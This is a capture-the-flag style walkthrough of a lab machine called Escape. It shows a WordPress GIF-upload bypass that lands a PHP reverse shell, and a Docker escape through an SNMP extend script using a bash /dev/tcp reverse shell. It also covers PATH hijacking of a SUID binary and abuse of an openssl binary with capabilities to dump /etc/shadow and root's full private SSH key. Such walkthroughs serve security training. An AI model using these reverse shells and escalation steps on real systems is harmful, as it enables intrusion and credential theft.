Exploitation Guide for Escape

Summary
We'll gain a foothold on this machine via a file upload vulnerability in a Wordpress application. We'll then escalate by escaping a Docker container and then exploit a misconfiguration in the capabilities of the openssl binary.
Enumeration
Nmap
Let's begin with a simple Nmap
TCP scan:
kali@kali:~$ sudo nmap -sV -sC 192.168.120.138
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-11-04 10:27 EST
Nmap scan report for 192.168.120.138
Host is up (0.033s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:05:c9:c1:13:3f:6c:78:a2:0b:21:45:ed:dd:b7:c1 (RSA)
| 256 f1:17:06:09:6a:be:d5:71:09:57:d9:79:60:95:a4:bd (ECDSA)
|_ 256 76:f9:15:70:bc:5d:33:53:0f:3b:20:9e:ec:36:b1:51 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.5.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Escape – Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ports 80 and 8080 are open, and it appears that an Apache server (with a default site) is running on port 80, and an Apache server (with a non-default site) is running on port 8080. Let's begin by focussing on the web server running on port 8080. Navigating to the site returns a default Wordpress installation.
Wordpress Enumeration
Let's scan this site with gobuster
to obtain more information.
kali@kali:~$ gobuster dir -u <http://192.168.120.138:8080> -w /usr/share/wordlists/dirb/common.txt -z
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
...
/dev (Status: 301)
...
This scan reveals the /dev directory. Navigating there presents the following:
Developer Area: Proceed with Caution
Description
-As of now, we are only accepting GIF files.
The file upload control apparently only accepts .gif files. Attempting to upload any other type of file generates an error (Sorry, GIF only!
).
Let's try to upload a test GIF file. We'll just use a GIF file we located with a Google search. The upload succeeds, returning the message File is valid, and was successfully uploaded
. In addition, we are presented with an UPLOADED
link that leads to http://192.168.120.138:8080/dev/uploads/test.gif.
If we navigate there, we find our test image file. This indicates that once our file is accepted, it is saved to the /dev/uploads directory.
Exploitation
File Upload Vulnerability
Let's attempt a simple restriction bypass by intercepting our upload request and changing the content type of our file. First, we'll need to set up our web browser to use the Burp
proxy.
We'll try to upload a PHP reverse shell from PentestMonkey, making sure to adjust the IP address and port number as needed.
kali@kali:~$ cp /usr/share/webshells/php/php-reverse-shell.php .
kali@kali:~$
kali@kali:~$ cat php-reverse-shell.php
...
$ip = '192.168.118.3'; // CHANGE THIS
$port = 4444; // CHANGE THIS
...
Let's upload the reverse shell and intercept the request in our proxy. Our POST request should resemble the following:
...
-----------------------------253992999841778443251616883509
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------253992999841778443251616883509
Content-Disposition: form-data; name="uploadedfile"; filename="php-reverse-shell.php"
Content-Type: application/x-php
...
Before forwarding the request to the server, we will adjust the file name to shell.php
and Content-Type
to image/gif
like so:
...
-----------------------------253992999841778443251616883509
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------253992999841778443251616883509
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: image/gif
...
We'll forward the modified request to the server and eventually receive the message, File is valid, and was successfully uploaded.
We know that our file should be accessible as /dev/uploads/shell.php.
Let's set up a netcat listener on port 4444 and trigger the reverse shell by navigating to http://192.168.120.138:8080/dev/uploads/shell.php:
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.138: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.138] 56326
Linux bf4aa159b77b 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 GNU/Linux
16:28:55 up 1:03, 0 users, load average: 0.00, 0.04, 0.26
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have caught our reverse shell as the www-data
user.
Docker Container
The machine's hostname suggests we are actually in a Docker container that we must first escape.
$ hostname
f8e1a236869d
tmpfs
In Docker containerization, file systems are often mounted between the host and a container. Let's check for file system mounts.
$ mount
...
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
...
/dev/sda1 on /tmp type ext4 (rw,relatime,errors=remount-ro,data=ordered)
...
This output is revealing. First, it appears that tmpfs
is being used to easily transfer files between the host and the container without having to log in each time. Second, it is mounted on the /tmp directory of the container.
This command output presents a clearer picture:
$ df -T /tmp
Filesystem Type 1K-blocks Used Available Use% Mounted on
/dev/sda1 ext4 16446332 4761392 10829800 31% /tmp
When a container is created with a tmpfs
mount, the container can write files outside of the container's writeable layer. As opposed to volumes and bind
mounts, a tmpfs
mount is temporary and only persists in the host's memory.
We'll note this for future reference.
SNMP
Exploring the container, we find an SNMP configuration file in /var/backups:
$ cd /var/backups && ls -la
total 20
drwxr-xr-x 1 root root 4096 Nov 5 13:41 .
drwxr-xr-x 1 root root 4096 Oct 13 09:15 ..
-rwxrw-rw- 1 root root 7340 Sep 18 17:11 .snmpd.conf
This indicates that an SNMP is likely running. Usually, only one process runs in a Docker container, and we know that this container already has a running web application. Because of this, we can speculate that the SNMP daemon is running on the host and not inside the container.
While inspecting the contents of /var/backups.snmpd.conf, we find an interesting community string (53cur3M0NiT0riNg
):
$ cat .snmpd.conf
...
rocommunity6 public default -V systemonly
rocommunity 53cur3M0NiT0riNg
...
In addition, there is interesting information near the end of the file:
...
#
# EXTENDING THE AGENT
#
#
# Arbitrary extension commands
#
extend test1 /bin/echo Hello, world!
extend-sh test2 echo Hello, world! ; echo Hi there ; exit 35
extend-sh test3 /bin/sh /tmp/shtest
# Note that this last entry requires the script '/tmp/shtest' to be created first,
# containing the same three shell commands, before the line is uncommented
# Walk the NET-SNMP-EXTEND-MIB tables (nsExtendConfigTable, nsExtendOutput1Table
# and nsExtendOutput2Table) to see the resulting output
...
The SNMP service can be extended in multiple ways. For example, it can be extended with functions provided by the NET-SNMP-EXTEND-MIB
MIB. The Net-SNMP
agent provides a MIB
extension (NET-SNMP-EXTEND-MIB
) that can be used to execute arbitrary shell scripts. So, by invoking NET-SNMP-EXTEND-MIB
over SNMP, we can call arbitrary scripts or executables on the server.
Since we know the community string 53cur3M0NiT0riNg
, let's try querying it from our attack machine using snmpwalk
with EXTEND
. Before doing this, we'll have to install and update the following packages:
kali@kali:~$ sudo apt-get install snmp -y
kali@kali:~$ sudo apt-get install snmp-mibs-downloader -y
Next, we need to download MIB
:
kali@kali:~$ sudo download-mibs
Finally, we'll set mibs +ALL
in /etc/snmp/snmp.conf.
kali@kali:~$ cat /etc/snmp/snmp.conf
# As the snmp packages come without MIB files due to license reasons, loading
# of MIBs is disabled by default. If you added the MIBs you can reenable
# loading them by commenting out the following line.
mibs +ALL
...
Recall the following comment in the SNMP configuration file:
...
# Walk the NET-SNMP-EXTEND-MIB tables (nsExtendConfigTable, nsExtendOutput1Table
# and nsExtendOutput2Table) to see the resulting output
...
Noting the example of nsExtendOutput1Table
, we can query the SNMP daemon on the target as follows:
kali@kali:~$ snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.120.138 nsExtendOutput1
Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test2" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test3" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test2" = STRING: Hello, world!
Hi there
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test3" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test1" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test2" = INTEGER: 2
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test3" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."test1" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendResult."test2" = INTEGER: 8960
NET-SNMP-EXTEND-MIB::nsExtendResult."test3" = INTEGER: 32512
The query seems work, returning a Hello, World!
string (which we discovered in the extend
functionality of the .snmpd.conf file). This means that we can use this query to execute commands on the target.
In the config file, we also determined that the daemon is executing /tmp/shtest
(which is the default in SNMP). We also know that tmpfs
is already mounted on the /tmp directory of our container. This all suggests that we should be able to get a shell on the host.
Docker Container Escape via SNMP
Let's navigate to the /tmp directory, create a simple bash reverse shell named shtest
(which is what SNMP is looking for), and make it executable.
$ cd /tmp
$ echo 'bash -c "bash -i >& /dev/tcp/192.168.118.3/4444 0>&1"' > shtest
$ chmod +x shtest
Next, we'll set up a new netcat listener on port 4444 and trigger the reverse shell with the same snmpwalk
query.
kali@kali:~$ snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.120.138 nsExtendOutput1
Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test2" = STRING: Hello, world!
Timeout: No Response from 192.168.120.138
...
Now, we have a reverse shell as Debian-snmp
on the host itself:
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.138: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.138] 44310
bash: cannot set terminal process group (711): Inappropriate ioctl for device
bash: no job control in this shell
Debian-snmp@escape:/$ id
id
uid=111(Debian-snmp) gid=115(Debian-snmp) groups=115(Debian-snmp)
Debian-snmp@escape:/$ hostname
hostname
escape
Escalation
SUID Enumeration
Having obtained a shell on the host, let's enumerate SUID permissions.
Debian-snmp@escape:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/logconsole
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping
/bin/su
Let's focus on /usr/bin/logconsole, which is owned by the user tom
:
Debian-snmp@escape:/$ ls -l /usr/bin/logconsole
ls -l /usr/bin/logconsole
-rwsrwxr-x 1 tom tom 17440 Nov 5 08:42 /usr/bin/logconsole
PATH Hijacking
Executing this binary produces the following output:
Debian-snmp@escape:/$ /usr/bin/logconsole
/usr/bin/logconsole
/$$ /$$
| $$ | $$
| $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$
| $$ /$$__ $$ /$$__ $$ /$$_____/ /$$__ $$| $$__ $$ /$$_____/ /$$__ $$| $$ /$$__ $$
| $$| $$ \\ $$| $$ \\ $$| $$ | $$ \\ $$| $$ \\ $$| $$$$$$ | $$ \\ $$| $$| $$$$$$$$
| $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$ | $$ \\____ $$| $$ | $$| $$| $$_____/
| $$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$/| $$ | $$ /$$$$$$$/| $$$$$$/| $$| $$$$$$$
|__/ \\______/ \\____ $$ \\_______/ \\______/ |__/ |__/|_______/ \\______/ |__/ \\_______/
/$$ \\ $$
| $$$$$$/
\\______/
1. About the Sytem
2. Current Process Status
3. List all the Users Logged in and out
4. Quick summary of User Logged in
5. IP Routing Table
6. CPU Information
7. To Exit
99. Generate the Report
Enter the option ==>
The program is waiting for input. We need to explore a bit more, so for now, we'll enter 7
to exit:
...
Enter the option ==> 7
Debian-snmp@escape:/$
Let's run this binary again using ltrace
to trace the library calls.
Debian-snmp@escape:/$ ltrace /usr/bin/logconsole
ltrace /usr/bin/logconsole
puts("\\n\\n /$$ "...) = 1120
setvbuf(0x7faff2b5da00, 0, 2, 0) = 0
setvbuf(0x7faff2b5e760, 0, 2, 0
...
) = 0
getuid() = 111
geteuid() = 111
setreuid(111, 111) = 0
printf("\\033[1;31m") = 7
puts("1. About the Sytem"1. About the Sytem
) = 19
puts("2. Current Process Status"2. Current Process Status
) = 26
puts("3. List all the Users Logged in "...3. List all the Users Logged in and out
) = 40
puts("4. Quick summary of User Logged "...4. Quick summary of User Logged in
) = 35
puts("5. IP Routing Table"5. IP Routing Table
) = 20
puts("6. CPU Information"6. CPU Information
) = 19
puts("7. To Exit "7. To Exit
) = 12
puts("99. Generate the Report "99. Generate the Report
) = 25
putchar(10, 0x7faff2b5e7e3, 0x7faff2b5f8c0, 0x7faff2882224
) = 10
printf("\\033[01;33m") = 8
printf("Enter the option ==> "Enter the option ==> ) = 21
__isoc99_scanf(0x5597d51aa5c6, 0x7fff79a78c28, 0x7faff2b5f8c0, 0
The output reveals the commands that are used behind the scenes. For example, entering option 1
runs /bin/uname -a
:
...
putchar(10, 0x7fff79a76580, 0x5597d51aa650, 0
) = 10
system("/bin/uname -a"Linux escape 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
<no return ...>
--- SIGCHLD (Child exited) ---
...
Option 2
runs /bin/ps aux
:
...
putchar(10, 0x7fff79a76580, 0x5597d51aa650, 0
) = 10
system("/bin/ps aux"USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.8 225180 8740 ? Ss 09:23 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 09:23 0:00 [kthreadd]
...
We continue investigating the options until we reach option 6 (CPU Information
). This option runs lscpu
:
...
) = 1
printf("\\033[0m") = 4
putchar(10, 0x7fff79a76580, 0x5597d51aa650, 0
) = 10
system("lscpu"Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
...
Inspecting the output very closely, we discover that lscpu
is being used without specifying its full path. That makes it vulnerable to PATH hijacking. Let's inspect the current value of the PATH variable.
Debian-snmp@escape:/$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
When the full PATH is not specified, /usr/local/sbin directory will be searched first, then /usr/local/bin and so on until the binary is found.
After checking the permissions on all of these directories, we realize that we are not able to write to any of them. However, we can modify the PATH variable itself to introduce a new path of our choice that will be searched first.
Let's prepend the /tmp directory onto the current PATH variable:
Debian-snmp@escape:/$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
Debian-snmp@escape:/$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
We'll create another bash reverse shell payload named lscpu, place it in the /tmp directory, and make it executable.
Debian-snmp@escape:/$ cd /tmp
cd /tmp
Debian-snmp@escape:/tmp$ echo 'bash -c "bash -i >& /dev/tcp/192.168.118.3/4444 0>&1"' > lscpu
<sh -i >& /dev/tcp/192.168.118.3/4444 0>&1"' > lscpu
Debian-snmp@escape:/tmp$ chmod +x lscpu
chmod +x lscpu
If we run logconsole now and choose option 6
, it should find and run our payload first. Let's try this. We'll set up a new netcat listener on port 4444 and then run logconsole again.
Debian-snmp@escape:/tmp$ /usr/bin/logconsole
/usr/bin/logconsole
...
Enter the option ==> 6
...
This time, the program hangs, and our listener indicates that we have caught a reverse shell as tom
:
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.138: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.138] 44312
bash: cannot set terminal process group (711): Inappropriate ioctl for device
bash: no job control in this shell
tom@escape:/tmp$ id
id
uid=1000(tom) gid=115(Debian-snmp) groups=115(Debian-snmp)
SSH
To upgrade our shell, and to make the rest of the exploitation process easier, let's log in as tom
via SSH. If needed, we can generate an SSH key pair as follows:
kali@kali:~$ ssh-keygen -t rsa -N '' -f /home/kali/.ssh/id_rsa
Generating public/private rsa key pair.
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:orVB16WHP9petyWNEUtpkr6AdfS9xLyPX5s7LVomyXQ kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| o |
| . = ooo |
| . . = = *+.|
| . . o = +.oo|
| + S . = Eo |
| o + * = =.|
| . . . * B B|
| . =.=B|
| o. *+|
+----[SHA256]-----+
Let's copy our public SSH key to the target and save it as /home/tom/.ssh/authorized_keys.
kali@kali:~$ cd .ssh/
kali@kali:~/.ssh$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
192.168.120.138 - - [05/Nov/2020 12:40:34] "GET /id_rsa.pub HTTP/1.1" 200 -
...
tom@escape:/tmp$ mkdir /home/tom/.ssh
mkdir /home/tom/.ssh
tom@escape:/tmp$ wget <http://192.168.118.3/id_rsa.pub> -O /home/tom/.ssh/authorized_keys
<.118.3/id_rsa.pub -O /home/tom/.ssh/authorized_keys
--2020-11-05 12:40:33-- <http://192.168.118.3/id_rsa.pub>
Connecting to 192.168.118.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/octet-stream]
Saving to: ‘/home/tom/.ssh/authorized_keys’
0K 100% 49.4M=0s
2020-11-05 12:40:34 (49.4 MB/s) - ‘/home/tom/.ssh/authorized_keys’ saved [563/563]
We can now SSH to the target as tom
:
kali@kali:~$ ssh -o StrictHostKeyChecking=no [email protected]
...
$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom)
Local Enumeration
Next, we'll download lse.sh, a Linux enumeration script.
$ wget <http://192.168.118.3/lse.sh>
--2020-11-05 12:44:50-- <http://192.168.118.3/lse.sh>
Connecting to 192.168.118.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 40580 (40K) [text/x-sh]
Saving to: ‘lse.sh’
lse.sh 100%[==================================================>] 39.63K --.-KB/s in 0.06s
2020-11-05 12:44:51 (620 KB/s) - ‘lse.sh’ saved [40580/40580]
We'll make the script executable and run it to obtain more information.
$ chmod +x lse.sh
$ ./lse.sh
---
If you know the current user password, write it here to check sudo privileges:
---
...
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... yes!
[!] sec020 Can we write to a binary with caps?............................. yes!
---
/opt/cert/openssl
---
[!] sec030 Do we have all caps in any binary?.............................. yes!
---
/opt/cert/openssl =ep
---
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
========================================================( recurrent tasks )=====
...
The script finds that /opt/cert/openssl has empty capabilities. Linux capabilities allow binaries that are executed by non-root users to perform limited privileged (root
) operations.
We can confirm this with the following:
$ cd /opt/cert && ls -la
total 724
drwxr-xr-x 2 root root 4096 Nov 5 08:42 .
drwxr-xr-x 4 root root 4096 Nov 5 08:42 ..
-rwx------ 1 root root 1245 Nov 5 08:42 certificate.pem
-rwx------ 1 root root 1704 Nov 5 08:42 key.pem
-rwxr-x--- 1 tom tom 723944 Nov 5 08:42 openssl
$ getcap ./openssl
./openssl =ep
OpenSSL Web Server
In order to exploit this potential vulnerability, we must run /opt/cert/openssl. This program can be used to host a local web server. However, before running it, we need to generate a certificate as follows, leaving all the options blank:
$ cd /tmp
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Can't load /home/tom/.rnd into RNG
140554770244032:error:2406F079:random number generator:RAND_load_file:Cannot open file:../crypto/rand/randfile.c:88:Filename=/home/tom/.rnd
Generating a RSA private key
.............................................................................................................................................................................................+++++
............................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
We must run this from the root directory of the file system because OpenSSL's HTTP server interprets GET
requests relative to pwd
or cwd
.
$ cd /
$ /opt/cert/openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
Using default temp DH parameters
ACCEPT
...
This command shell will hang since it is actively running the web server. Let's grab another command shell through SSH:
kali@kali:~$ ssh -o StrictHostKeyChecking=no [email protected]
...
$
Because of the capabilities of the /opt/cert/openssl binary, the web server we've launched on port 1337 is running with elevated privileges. That means that we are able to read system files, which are normally only accessible to the root
user. For example, we can read /etc/shadow:
$ curl -k <https://localhost:1337/etc/shadow>
root:$6$l.uc4X2N$d8BE4nsw5eEN3wl.jrWIxHOS65BES386a8Q2i87xqIwYMoWq0MnVCc.rGRToKjmIhiW5Bm0RQM8VENJq7kwoq/:18571:0:99999:7:::
daemon:*:17647:0:99999:7:::
...
tom:$6$xeqOHdfk$JasGRYragbnhO2cM7R4AX2lOal20aR/WlD84MJSmgzBXeBY0Spf5Wt18S.vDwsHHvLU0wMzkSwxxFCuBLbn1r.:18571:0:99999:7:::
$
Let's determine if the root
user has a private SSH key available:
$ curl -k <https://localhost:1337/root/.ssh/id_rsa>
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwwvvVIS3//uz+Mpg24l51p48akveZgI8bDQDun7y9BKhRDWg
GzIzCpt7NcVWVN2llo9KOL3c3EZZxGOaTbzpINZxSWj3/WWBYhNqmKQRsgJzbPv2
kOe/XwWw8Bt9TuFAd7GUbylpbyHOES7siXFUd/XP503ehllp/JFp0G+2YPkYPGbi
0EISJcNFPNnRlXIQs3Fte0QqFiPE9nPycSMqvGz8a9OtaPGlmOZ3wP56jxxIBT0I
SrkfuLGw7b9VN05jJ33EMtDGRyyDLljFXv7t5OktkC0omumXyWG2KRRe3Avn4RMI
V+IE0rS8N2pIymRF3u8U/9YMX/Ps2EPvNQFkTQIDAQABAoIBAQCXXa/Ce6z/76pf
rU81kJ8JO4vPQkm6CIozvroWBWcumzaj5Kn38SFDXh5kQF0bR1e2XEVRe6bnG4GW
s2WQZsbVQRZxzhCGiju6jS7wfoNtDhHdxjw3gGI3sAb8j5jTmmOZgCqdihnUsPtm
wm+2ykivQAi0jO3gfYuPApqHs+ppngt2KeMUZesIz4BWuFAnS0ePK/tpTHpZ4KRj
D/sb1kdseaCmPfOD6oTMGNtTiakkDUzObN3Pw19v5wkHfawTbmsSeiPmW1nC5xh/
OI7K+wbVUCj3Dys3xqKoCMK27y+pYHzzoiz7ol+OitIth6ucDe6NC6cFbVPmW2o0
fk+U8VbRAoGBAOcfAlARjYV6qc2ukF9NYlVy/WYoP3zFzfb7uYu9I1OpLID+PYeN
ixpqKKgRoxM+ndsWWnyHjw5Kyq2+DHBE67OOpbd69y+fUYOhFiSH2TnQsB1LPtkH
ZT0pZyaBavQLZFZChpOeQ96qfEw5xwA65zENCSFoGoILHS92akVmWQnTAoGBANgK
0qNNsJYETJSob/KdnMYXbE3tPjNkdCzKXXklgZXeUKn6U//0vRhJWZGHv8RDWrlh
1wc9Op88Dx003Ay+3vVqjOs7ur46KankMTj+PN5B5CX1CioXtJ9T6qRF+8+46oq7
pXBTqfi7Gp2m+RuQJS9Ct2bu6OUYgGdUzQ8p/+VfAoGAOhCnUxhl1sAPgxY1PUxC
xTcDhLPd52oGqeNqJTpacr1Q6gN1z+V2qic7maX8s2wK2q0OBLVF8pBFxUq280nN
caoH5kXlbjh3kTtaRck/gO/2HxX1by8Vdz08pgbjqPZnuegyyUl8wadRXREy9tLV
nJQq1BLEfiFurqrwXgktm3MCgYEAroDPcyilogcG9Gy5P/cfUsJIsQkYXNqfHC65
IcmxyiQwc5vHjc9ZjexxdKN5ukXNWkA1N5u1ZjlU2/p+Y60o2oKeIMO2K0E/tgKj
36077Sq75gzvkOBk/O0Dcn000KxEhprbHsf1WvuGnCDqxeDAqFPzYClJ5QLNdKmC
mOUL1XECgYB1wX6H2xWJ+GvC1qKVs4WOYjfCvVZTh+9i8CpA1i4xmmmXXnc+jy/O
Bl7VLsdfeQ3L/NOBTng09PO2lwSWdghCMeS25rMm6/xZTOduauGVTMKx4DT7FvX6
NLU86rcVJCcqL0LdcJ7/2tmwsyuqhCLQ0fl37ZCS93LTXqGUzXfViw==
-----END RSA PRIVATE KEY-----
Strangely enough, if we view root's authorized_keys file, we determine that the machine allows its own private key for the root user:
$ curl -k <https://localhost:1337/root/.ssh/authorized_keys>
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDC+9UhLf/+7P4ymDbiXnWnjxqS95mAjxsNAO6fvL0EqFENaAbMjMKm3s1xVZU3aWWj0o4vdzcRlnEY5pNvOkg1nFJaPf9ZYFiE2qYpBGyAnNs+/aQ579fBbDwG31O4UB3sZRvKWlvIc4RLuyJcVR39c/nTd6GWWn8kWnQb7Zg+Rg8ZuLQQhIlw0U82dGVchCzcW17RCoWI8T2c/JxIyq8bPxr061o8aWY5nfA/nqPHEgFPQhKuR+4sbDtv1U3TmMnfcQy0MZHLIMuWMVe/u3k6S2QLSia6ZfJYbYpFF7cC+fhEwhX4gTStLw3akjKZEXe7xT/1gxf8+zYQ+81AWRN root@escape
We can confirm this by comparing it to the public key.
$ curl -k <https://localhost:1337/root/.ssh/id_rsa.pub>
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDC+9UhLf/+7P4ymDbiXnWnjxqS95mAjxsNAO6fvL0EqFENaAbMjMKm3s1xVZU3aWWj0o4vdzcRlnEY5pNvOkg1nFJaPf9ZYFiE2qYpBGyAnNs+/aQ579fBbDwG31O4UB3sZRvKWlvIc4RLuyJcVR39c/nTd6GWWn8kWnQb7Zg+Rg8ZuLQQhIlw0U82dGVchCzcW17RCoWI8T2c/JxIyq8bPxr061o8aWY5nfA/nqPHEgFPQhKuR+4sbDtv1U3TmMnfcQy0MZHLIMuWMVe/u3k6S2QLSia6ZfJYbYpFF7cC+fhEwhX4gTStLw3akjKZEXe7xT/1gxf8+zYQ+81AWRN root@escape
To exploit this, we can simply copy the private key to our attack machine, save it as id_rsa, give it proper permissions, and then SSH to the target as root
:
kali@kali:~$ chmod 0600 id_rsa
kali@kali:~$ ssh -i id_rsa -o StrictHostKeyChecking=no [email protected]
...
root@escape:~# id
uid=0(root) gid=0(root) groups=0(root)
root@escape:~#
Discussion